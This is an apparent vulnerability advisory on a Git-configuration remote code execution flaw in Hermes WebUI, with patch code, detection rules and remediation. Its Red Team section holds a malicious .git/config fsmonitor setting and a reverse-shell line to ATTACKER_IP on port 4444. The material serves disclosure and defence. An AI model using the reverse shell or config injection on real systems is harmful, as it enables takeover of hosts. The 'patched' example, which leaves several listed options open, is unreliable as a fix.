CVE-2026-49959

Executive Summary

CVE-2026-49959 is a critical remote code execution (RCE) vulnerability in Hermes WebUI versions prior to 0.51.311. The flaw allows authenticated attackers to execute arbitrary commands on the host system by injecting malicious Git configuration directives into a workspace repository's .git/config file. The vulnerability resides in the api/workspace_git.py module, which invokes Git subprocesses without sanitizing configuration options. Attackers can leverage Git features such as core.fsmonitor, protocol.ext.allow, credential.helper, core.askPass, core.gitProxy, or environment variables like GIT_SSH_COMMAND to achieve command execution. With a CVSS score of 8.8, this vulnerability poses a severe threat to confidentiality, integrity, and availability.

Supply Chain & Package Security

Hermes WebUI is a Python-based application. The vulnerability is introduced through the application's own code, not through a third-party package. However, the attack vector relies on Git, which is a common dependency. Organizations should ensure that Git is updated to the latest version and that the application is patched to version 0.51.311 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is Critical due to the low complexity, network exploitability, and high impact on all security objectives.

Deep Dive & Mechanics

The vulnerability is located in api/workspace_git.py, which handles Git operations on workspace repositories. The application does not validate or sanitize the contents of the .git/config file before executing Git commands. An authenticated attacker can create or modify a repository's .git/config file to include malicious Git configuration options.

Key Attack Vectors:

1. core.fsmonitor: Specifies a command to be executed during git status. The attacker sets this to a malicious command.
2. protocol.ext.allow: Allows the use of ext:: remote helpers, which can execute arbitrary commands during git fetch.
3. credential.helper: Specifies a credential helper that can execute arbitrary commands.
4. core.askPass: Specifies a program to prompt for passwords, which can be a malicious script.
5. core.gitProxy: Specifies a proxy command for Git, which can be exploited.
6. Environment Variables: Inherited variables like GIT_SSH_COMMAND can be set to execute arbitrary commands.

When the application runs a Git command (e.g., git status, git fetch), the malicious configuration is read and executed, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.51.311):

# api/workspace_git.py (simplified)
import subprocess

def run_git_command(repo_path, command):
    # No sanitization of .git/config
    result = subprocess.run(
        ["git", command],
        cwd=repo_path,
        capture_output=True,
        text=True
    )
    return result.stdout

Patched Code (0.51.311 and later):

# api/workspace_git.py (simplified)
import subprocess
import os

def run_git_command(repo_path, command):
    # Disable dangerous Git options
    env = os.environ.copy()
    env["GIT_CONFIG_NOSYSTEM"] = "1"
    env["GIT_OPTIONAL_LOCKS"] = "0"
    # Use --no-optional-locks and --no-replace-objects
    result = subprocess.run(
        ["git", "-c", "core.fsmonitor=", "-c", "protocol.ext.allow=never", command],
        cwd=repo_path,
        capture_output=True,
        text=True,
        env=env
    )
    return result.stdout

The patch explicitly disables dangerous Git configuration options and uses environment variables to prevent inheritance of malicious settings.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Authenticated access to Hermes WebUI
• Ability to create or modify a workspace repository

Exploitation Steps:

1. Create a malicious repository with a .git/config file containing:

   [core]
       fsmonitor = /path/to/malicious_script.sh
   

2. Upload the repository to the Hermes WebUI workspace.

3. Trigger a Git status operation via the WebUI (e.g., by viewing the repository status).

4. The malicious script executes on the host, providing a reverse shell or executing arbitrary commands.

Example Malicious Script (malicious_script.sh):

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Alternative Attack using GIT_SSH_COMMAND:

export GIT_SSH_COMMAND='echo "malicious command"'

Blue Team

Detection:

• Monitor for unusual Git configuration files in workspace repositories.
• Alert on Git commands that use core.fsmonitor, credential.helper, or protocol.ext.allow.
• Monitor for unexpected child processes spawned by Git.

Prevention:

• Apply the patch to version 0.51.311 or later.
• Restrict user permissions to prevent modification of .git/config files.
• Use a Web Application Firewall (WAF) to block malicious payloads.

Indicators of Compromise (IOCs)

File-Based IOCs:

• .git/config files containing core.fsmonitor, credential.helper, protocol.ext.allow, core.askPass, or core.gitProxy with suspicious values.
• Unexpected scripts or binaries in the workspace directory.

Network IOCs:

• Outbound connections to attacker-controlled IPs on unusual ports (e.g., 4444).
• DNS queries to known malicious domains.

Process IOCs:

• Git processes spawning unexpected child processes (e.g., bash, python, powershell).
• Processes with names matching malicious_script.sh or similar.

Log IOCs:

• Hermes WebUI logs showing Git commands with unusual configuration options.
• System logs showing execution of scripts from workspace directories.

Detection Engineering

YARA Rule

rule CVE_2026_49959_GitConfig_RCE {
    meta:
        description = "Detects malicious Git configuration files used in CVE-2026-49959"
        author = "Valters IT"
        date = "2026-01-01"
        severity = "critical"
    strings:
        $fsmonitor = /core\.fsmonitor\s*=\s*.+/i
        $credential_helper = /credential\.helper\s*=\s*.+/i
        $protocol_ext = /protocol\.ext\.allow\s*=\s*.+/i
        $askpass = /core\.askPass\s*=\s*.+/i
        $gitproxy = /core\.gitProxy\s*=\s*.+/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-49959 - Git Configuration RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2026-49959 via malicious Git config
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/git'
        CommandLine|contains:
            - 'core.fsmonitor'
            - 'credential.helper'
            - 'protocol.ext.allow'
            - 'core.askPass'
            - 'core.gitProxy'
    condition: selection
falsepositives:
    - Legitimate use of Git configuration options
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49959 - Git Config RCE Attempt"; flow:to_server,established; content:"core.fsmonitor"; http_client_body; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49959 - Git Config RCE Attempt"; flow:to_server,established; content:"credential.helper"; http_client_body; nocase; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49959 - Git Config RCE Attempt"; flow:to_server,established; content:"protocol.ext.allow"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Hermes WebUI to version 0.51.311 or later.
2. Restrict user permissions to prevent modification of .git/config files.
3. Monitor for suspicious Git configuration changes.

Long-Term Mitigations:

• Implement input validation for all Git configuration files.
• Use a Web Application Firewall (WAF) to block known attack patterns.
• Conduct regular security audits of the application code.
• Enable logging and alerting for Git command execution.

Workarounds (if patching is not possible):

• Disable Git operations that use core.fsmonitor, credential.helper, etc.
• Use a proxy or sandbox to isolate Git subprocesses.

Valters IT
Securing Digital Frontiers